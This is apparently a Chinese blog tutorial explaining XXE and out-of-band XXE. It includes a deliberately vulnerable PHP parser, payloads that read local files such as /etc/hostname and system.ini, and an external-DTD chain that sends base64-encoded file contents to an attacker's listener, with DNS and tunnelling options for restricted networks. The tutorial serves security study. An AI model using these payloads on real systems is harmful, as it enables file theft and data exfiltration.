XXE OOB

XML注入XXE,外部实体注入。其本质是应用程序解析用户可控的XML数据时,如果XML解析器允许加载外部实体,攻击者就可能通过恶意实体声明,有道服务器访问本地文件或者外部网络资源。

XML

<?xml version="1.0" encoding="UTF-8"?>
<user>
    <username>admin</username>
    <password>123456</password>
</user>
元素作用
<?xml ... ?>XML 声明,指定版本、编码
<user>根元素
<username>子元素,保存数据

解析器读取XML后,通常会将其转换成程序能够操作的数据结构。

正常情况下,应用只需要获得XML文档里的业务数据。但是XML还支持一种特殊机制:实体

XML实体与DTD

DTD,全称Document Type Definition,即文档类型定义。它可以用来定义XML文档允许的结构,也可以声明实体。

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY name "zhangsan"> //声明名为name的内部通用实体
]>
<user>
    <username>&name;</username> //引用该实体
</user>

内部实体 VS 外部实体

内部实体

<!ENTITY test "Hello XXE">

外部实体

<!ENTITY test SYSTEM "file:///etc/hostname">

主要区别在于:
内部实体的值直接写在DTD中
外部实体的内容需要解析器访问指定资源才能获取
SYSTEM后面指定的是系统标识符,可以是文件URI,也可以是HTTP等URI,具体支持什么取决于解析器和安全配置。

XXE漏洞的关键不在于实体声明本身,而在于解析器是否会访问攻击者指定的外部资源

XXE:有回显的文件读取

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<user>
    <username>&xxe;</username>
</user>

假设服务端的/etc/hostname文件内容是

web-server-01

如果XML解析器启用了外部实体解析,并且应用程序将解析后的username返回,响应可能是

<user>
    <username>web-server-01</username>
</user>

真正执行文件读取操作的是XML解析器,而不是XML服务代码显式调用了文件读取函数

Blind XXE与XXE OOB

为什么需要XXE OOB?

假设存在这样的业务场景:

POST /api/user HTTP/1.1
Content-Type: application/xml

请求体

<?xml version="1.0"?>
<user>
    <username>admin</username>
</user>

服务器接收XML,解析后只返回

{"code":200,"message":"success"}

即使解析器能够访问外部资源,我们也无法通过HTTP响应来直接获取实体展开的结果,是一个非常经典的盲注场景。

XXE OOB则是利用服务器向外部地址发起请求,通过独立于原始HTTP响应的通道观察解析器行为,某些情况下还可以传输数据。

以PHP代码为例

<?php
libxml_disable_entity_loader(false);

// 从原始请求体读取 XML
$xml = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML(
    $xml,
    LIBXML_NOENT | LIBXML_DTDLOAD
);

// 不做任何输出
// 页面表现为空白,但 XML 已被解析
?>

该代码中虽然没有任何 echo / print 输出,但由于开启了 LIBXML_NOENT | LIBXML_DTDLOAD,外部实体依然会被解析和加载,漏洞依旧存在。

发送一个xml发现无回显只有200响应返回

这个时候只能通过外带的形式来将想要获取的数据

XML解析器通过HTTP协议加载外部DTD,在解析器内部处理DTD内容

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8001/eval.dtd">
%remote;%int;%send;
]>

处理的DTD内容如下

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:8001?p=%file;'>">    

三个实体引用实现OOB,解析器加载外部DTD,最后将数据发送回到VPS

为什么 XXE OOB 多使用参数实体,而不是通用实体?

通用实体主要服务于 XML 文档内容,而参数实体服务于 DTD 声明的组织与展开。

通用实体

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY name "admin">
]>
<user>&name;</user>

&name; 出现在 XML 正文中。

解析器处理 <user> 元素时,将它展开为 admin。

这非常适合有回显的 XXE 场景。

参数实体

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY % declaration "<!ENTITY name 'admin'>">
    %declaration;
]>
<user>&name;</user>

第一次:参数实体展开

%declaration;

产生一条新的实体声明:

<!ENTITY name 'admin'>

第二次:通用实体展开

&name;

得到:

admin

因此,参数实体不仅仅是保存一个字符串,更重要的是它的替换文本可以被解析器当作 DTD 声明继续解析。而 OOB 经常需要在 DTD 处理期间构造额外的外部资源引用。所以参数实体更适合这个场景。

为什么多层参数实体在外部 DTD 中可以工作,在内部 DTD 中却可能报错

第一种:内部 DTD 中合法的参数实体引用

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY % type "(name)">
    %type;
]>
<user>admin</user>

这里 %type; 位于两个 DTD 声明之间,引用位置本身是允许的。

但是它展开得到:

(name)

这并不是一条合法的 DTD 声明,因此整个 DTD 仍然会报错。

第二种:内部 DTD 中非法的参数实体嵌套

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY % type "(#PCDATA)">
    <!ELEMENT user %type;>
]>
<user>admin</user>

问题在这一行:

<!ELEMENT user %type;>

因为 %type; 出现在 <!ELEMENT ...> 声明内部。

这违反了内部 DTD 子集的参数实体引用位置限制。

不是因为实体嵌套层数太多,而是因为引用所处的位置不合法。

第三种:相同声明放到外部 DTD

假设 user.dtd 的内容如下:

<!ENTITY % type "(#PCDATA)">
<!ELEMENT user %type;>

主 XML 文件:

<?xml version="1.0"?>
<!DOCTYPE user SYSTEM "user.dtd">
<user>admin</user>

在解析器允许读取该外部 DTD 的前提下,上面的写法是合法的。

因为这里:

<!ELEMENT user %type;>

位于外部 DTD 子集中。

参数实体展开后:

<!ELEMENT user (#PCDATA)>

形成完整合法的元素声明。

情况是否符合 XML 语法
内部 DTD,在声明之间引用参数实体,展开为完整声明合法
内部 DTD,在 ELEMENT 声明内部引用参数实体非法
外部 DTD,在 ELEMENT 声明内部引用参数实体,并形成合法结构合法

不出网xxe如何利用

HTTP不出网,但是DNS能出网

有些企业内网服务器无法直接访问公网HTTP/HTTPS,但是内部DNS服务器仍然可以递归解析外部域名

完全不能出网,但是能够访问内网其他机器

必须拿下一台内网主机,让存在xxe的主机加载内网dtd资源或者利用frp进行内网穿透来进一步进行oob

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇